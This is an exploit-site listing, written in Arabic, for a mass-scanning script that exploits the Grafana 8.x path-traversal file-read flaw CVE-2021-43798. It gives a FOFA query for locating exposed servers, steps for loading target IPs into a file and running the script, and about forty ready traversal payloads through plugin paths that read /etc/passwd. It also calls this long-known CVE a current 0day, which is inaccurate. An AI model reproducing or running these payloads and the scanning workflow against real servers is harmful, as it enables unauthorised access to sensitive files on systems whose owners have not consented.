Sploitus

Exploit for Grafana-CVE-2021-43798Exp

kitploit · 2026-09-03

Exploit Code

MARKDOWN67 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FANYGIT-GRAFANA-CVE-2021-43798EXP
#### سكربت Grafana V8.* لقراءة أي ملف (Exp) - سكربت تحقق جماعي متعدد الخيوط

### وصف الثغرة

Grafana هي حزمة تحليل وقياس مفتوحة المصدر. تُستخدم غالبًا لتصور بيانات السلاسل الزمنية للبنية التحتية وتحليل التطبيقات، كما تُستخدم على نطاق واسع في مجالات أخرى بما في ذلك أجهزة الاستشعار الصناعية، وأتمتة المنزل، والطقس، والتحكم في العمليات. يحتوي الإصدار 8.* على ثغرة أمنية لقراءة الملفات التعسفية، وهي حاليًا ثغرة من نوع 0day، حيث يمكن للمهاجم غير الموثَّق استغلالها للحصول على ملفات حساسة من الخادم.

### صيغة FOFA

app="Grafana" && country="CN" && body="v8."

### طريقة الاستخدام

root@kitploit:~
    
    
    1. ضع عنوان IP المراد فحصه في ملف ip.txt
    2. قم بتشغيل python3 Grafana-CVE-2021-43798Exp
    

![1](https://assets.kitploit.com/production/public/readmes/25379/72f21ee98bc5a379d18a0719123e93d793f4b9c39d84af8f5a16e863f5d84239.png)

### PAYLOAD

root@kitploit:~
    
    
    /public/plugins/alertlist/../../../../../../../../etc/passwd
    /public/plugins/annolist/../../../../../../../../etc/passwd
    /public/plugins/barchart/../../../../../../../../etc/passwd
    /public/plugins/cloudwatch/../../../../../../../../etc/passwd
    /public/plugins/dashlist/../../../../../../../../etc/passwd
    /public/plugins/elasticsearch/../../../../../../../../etc/passwd
    /public/plugins/graph/../../../../../../../../etc/passwd
    /public/plugins/graphite/../../../../../../../../etc/passwd
    /public/plugins/heatmap/../../../../../../../../etc/passwd
    /public/plugins/influxdb/../../../../../../../../etc/passwd
    /public/plugins/mysql/../../../../../../../../etc/passwd
    /public/plugins/opentsdb/../../../../../../../../etc/passwd
    /public/plugins/pluginlist/../../../../../../../../etc/passwd
    /public/plugins/postgres/../../../../../../../../etc/passwd
    /public/plugins/prometheus/../../../../../../../../etc/passwd
    /public/plugins/stackdriver/../../../../../../../../etc/passwd
    /public/plugins/table/../../../../../../../../etc/passwd
    /public/plugins/text/../../../../../../../../etc/passwd
    /public/plugins/grafana-azure-monitor-datasource/../../../../../../../../etc/passwd
    /public/plugins/bargauge/../../../../../../../../etc/passwd
    /public/plugins/gauge/../../../../../../../../etc/passwd
    /public/plugins/geomap/../../../../../../../../etc/passwd
    /public/plugins/gettingstarted/../../../../../../../../etc/passwd
    /public/plugins/histogram/../../../../../../../../etc/passwd
    /public/plugins/jaeger/../../../../../../../../etc/passwd
    /public/plugins/logs/../../../../../../../../etc/passwd
    /public/plugins/loki/../../../../../../../../etc/passwd
    /public/plugins/mssql/../../../../../../../../etc/passwd
    /public/plugins/news/../../../../../../../../etc/passwd
    /public/plugins/nodeGraph/../../../../../../../../etc/passwd
    /public/plugins/piechart/../../../../../../../../etc/passwd
    /public/plugins/stat/../../../../../../../../etc/passwd
    /public/plugins/state-timeline/../../../../../../../../etc/passwd
    /public/plugins/status-history/../../../../../../../../etc/passwd
    /public/plugins/table-old/../../../../../../../../etc/passwd
    /public/plugins/tempo/../../../../../../../../etc/passwd
    /public/plugins/testdata/../../../../../../../../etc/passwd
    /public/plugins/timeseries/../../../../../../../../etc/passwd
    /public/plugins/welcome/../../../../../../../../etc/passwd
    /public/plugins/zipkin/../../../../../../../../etc/passwd